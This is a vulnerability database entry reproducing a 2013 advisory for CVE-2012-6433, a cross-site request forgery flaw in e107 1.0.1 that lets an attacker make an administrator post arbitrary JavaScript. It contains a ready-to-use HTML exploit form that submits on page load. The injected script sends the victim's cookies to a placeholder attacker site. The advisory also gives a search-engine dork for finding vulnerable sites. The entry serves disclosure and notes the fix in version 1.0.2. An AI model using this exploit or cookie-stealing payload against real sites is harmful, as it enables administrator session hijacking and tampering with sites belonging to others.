e107 1.0.1 - CSRF Resulting in Arbitrary Javascript Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

e107 v1.0.1 CSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 11
0day.today	e107 v1.0.1 CSRF Resulting in Arbitrary Javascript Execution	2 Jan 201300:00	–	zdt
Circl	CVE-2012-6433	2 Jan 201300:00	–	circl
CVE	CVE-2012-6433	3 Jan 201311:00	–	cve
Cvelist	CVE-2012-6433	3 Jan 201311:00	–	cvelist
Exploit DB	e107 1.0.1 - Arbitrary JavaScript Execution (via Cross-Site Request Forgery)	2 Jan 201300:00	–	exploitdb
EUVD	EUVD-2012-6286	7 Oct 202500:30	–	euvd
exploitpack	e107 1.0.1 - Arbitrary JavaScript Execution (via Cross-Site Request Forgery)	2 Jan 201300:00	–	exploitpack
NVD	CVE-2012-6433	3 Jan 201311:54	–	nvd
Packet Storm	e107 1.0.1 Administrator Cross Site Request Forgery	1 Jan 201300:00	–	packetstorm
Prion	Cross site request forgery (csrf)	3 Jan 201311:54	–	prion


                                                # Exploit Title: e107 v1.0.1 Administrator CSRF Resulting in Arbitrary Javascript Execution
# Google Dork: intext:&#34;This site is powered by e107&#34;
# Date: 01/01/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://e107.org
# Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.1/e107_1.0.1_full.tar.gz/download
# Version: 1.0.1
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2012-6433
------------------------------------------------------------------------------------------
Description:

A Cross-Site Request Forgery vulnerability exists in the /e107_admin/newspost.php?create 
function, in which an attacker can create a malicious POST request that could be sent by a
logged in e107 Administrator (upon visiting a malicious site using an iFrame known as a 
drive-by attack, or other means). This is possible since e-tokens or any other request 
validation is not used during this type of request. The severity of this vulnerability 
increases when the Administrator has the ability to post News Items containing javascript.
 
This results in an attacker having the ability to force an administrator to post any arbitrary 
javascript to the front page of the e107 site. Also, once posted, the resulting page: 
/e107/e107_admin/newspost.php displays the new content to the Administrator, and if this 
javascript is set in the news_title POST parameter, it is executed on this page in the 
context of the Administrator. This results in the ability for an attacker to use any type
of javascript attack at this point in time on the Administrator through the backend news 
items, and/or on the front end to any logged in user that may visit this page. What 
naturally comes to mind is session hijacking through established User/Administrator cookies.
------------------------------------------------------------------------------------------
Exploit:

&#60;html&#62;
&#60;body onload=&#34;document.formCSRF.submit();&#34;&#62;
	&#60;form method=&#34;POST&#34; name=&#34;formCSRF&#34; action=&#34;http://[site]/e107_admin/newspost.php?create&#34;&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;cat_id&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_title&#34; value=&#34;&#60;script&#62;location.href=&#39;http://[evil_site]/cookiemonster.php?cookie=&#39;+document.cookie;&#60;/script&#62;&#34;
		&#60;input type=&#34;hidden&#34; name=&#34;news_summary&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;data&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;sizeselect&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;preimageselect&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_extended&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;extended&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;sizeselect&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;preimageselect&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;file_userfile[]&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;uploadtype[]&#34; value=&#34;resize&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;resize_value&#34; value=&#34;100&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_allow_comments&#34; value=&#34;0&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_rendertype&#34; value=&#34;0&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_start&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_end&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_datestamp&#34; value=&#34;&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_userclass[0]&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_author&#34; value=&#34;1&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;submit_news&#34; value=&#34;Post news to database&#34;/&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;news_id&#34; value=&#34;&#34;/&#62;
	&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;
------------------------------------------------------------------------------------------
Fix:

The bug has been fixed in the following revision: r12992
Upgrade to v1.0.2
------------------------------------------------------------------------------------------
Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family.

Contact: 
Mail: [email protected]
Blog: infosec4breakfast.com
Twitter: @jershmagersh
Youtube: youtube.com/user/infosec4breakfast

01 Jul 2014 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.00343